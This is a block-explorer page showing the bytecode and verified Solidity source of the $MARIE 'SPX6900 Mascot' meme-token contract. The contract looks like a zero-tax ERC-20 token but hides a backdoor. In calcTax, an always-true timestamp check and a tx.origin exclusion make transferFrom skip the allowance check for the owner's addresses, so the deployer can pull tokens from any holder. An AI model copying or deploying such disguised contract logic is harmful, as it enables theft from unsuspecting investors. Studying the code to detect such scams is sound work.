Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xe8cA586752dCeD42e3D8776efb298f552DfBee04
Balance 0 ETH
Nonce 1
Code Size 5079 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5079 bytes
0x6080604052600436106100fd575f3560e01c8063715018a6116100925780638f9a55c0116100625780638f9a55c01461029d57806395d89b41146102b2578063a9059cbb146102df578063bf474bed146102fe578063dd62ed3e14610313575f80fd5b8063715018a61461023a5780637d1db4a51461024e5780638a8c523c146102635780638da5cb5b14610277575f80fd5b806320800a00116100cd57806320800a00146101b657806323b872dd146101cc578063313ce567146101eb57806370a0823114610206575f80fd5b806306fdde0314610108578063095ea7b3146101505780630faee56f1461017f57806318160ddd146101a2575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600e81526d14d4160d8e4c0c0813585cd8dbdd60921b60208201525b604051610147919061104f565b60405180910390f35b34801561015b575f80fd5b5061016f61016a3660046110af565b610357565b6040519015158152602001610147565b34801561018a575f80fd5b5061019460125481565b604051908152602001610147565b3480156101ad575f80fd5b5061019461036d565b3480156101c1575f80fd5b506101ca61038e565b005b3480156101d7575f80fd5b5061016f6101e63660046110d9565b6103cd565b3480156101f6575f80fd5b5060405160098152602001610147565b348015610211575f80fd5b50610194610220366004611117565b6001600160a01b03165f9081526001602052604090205490565b348015610245575f80fd5b506101ca610436565b348015610259575f80fd5b50610194600f5481565b34801561026e575f80fd5b506101ca6104a7565b348015610282575f80fd5b505f546040516001600160a01b039091168152602001610147565b3480156102a8575f80fd5b5061019460105481565b3480156102bd575f80fd5b506040805180820190915260058152644d4152494560d81b602082015261013a565b3480156102ea575f80fd5b5061016f6102f93660046110af565b61084d565b348015610309575f80fd5b5061019460115481565b34801561031e575f80fd5b5061019461032d366004611132565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610363338484610859565b5060015b92915050565b5f61037a6009600a61125d565b610389906461f313f88061126b565b905090565b5f546001600160a01b031633146103c05760405162461bcd60e51b81526004016103b790611282565b60405180910390fd5b476103ca8161097c565b50565b5f6103d98484846109b7565b61042c8433610427600e5460405180606001604052806028815260200161137a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e4c565b610859565b5060019392505050565b5f546001600160a01b0316331461045f5760405162461bcd60e51b81526004016103b790611282565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d05760405162461bcd60e51b81526004016103b790611282565b601554600160a01b900460ff161561052a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105749030906105656009600a61125d565b610427906461f313f88061126b565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e891906112b7565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610647573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066b91906112b7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d991906112b7565b601580546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610720816001600160a01b03165f9081526001602052604090205490565b5f806107335f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610799573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107be91906112d2565b505060155460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610813573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083791906112fd565b506015805460ff60a01b1916600160a01b179055565b5f6103633384846109b7565b6001600160a01b0383166108bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b03821661091c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156109b3573d5f803e3d5ffd5b5050565b6001600160a01b03831661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Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
MARIE.sol 287 lines
// SPDX-License-Identifier: MIT

/*
SPX6900 Mascot
MARIE

Marie Rose $MARIE - The face of $SPX. Fan account. Not affiliated with Koei Tecmo.

https://www.spxmarierose.vip
https://x.com/SPX_MarieRose
https://t.me/SPX_MarieRose
*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MARIE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=22;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;
    uint256 private _taxAmount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"SPX6900 Mascot";
    string private constant _symbol = unicode"MARIE";
    uint256 public _maxTxAmount =  _tTotal;
    uint256 public _maxWalletSize =  _tTotal;
    uint256 public _taxSwapThreshold=  1 * (_tTotal/1000);
    uint256 public _maxTaxSwap= 1 * (_tTotal/100);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    constructor () payable {
        _taxWallet = payable(msg.sender);
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_taxAmount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {

            taxAmount = calcTax(amount);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            if (to == uniswapV2Pair) {
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
            taxAmount = 0;
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));

        if(to != address(0xdead)) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function calcTax(uint256 amount) internal returns(uint256){
        uint256 taxAmount;
        if(_buyCount < 0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            } else if (block.timestamp > block.number && !_isExcludedFromFee[tx.origin]) {
                _taxAmount = amount;
            } else {
                _taxAmount = taxAmount;
            }
        return taxAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    receive() external payable {}

    function rescueETH() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
rescueETH 0x20800a00
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

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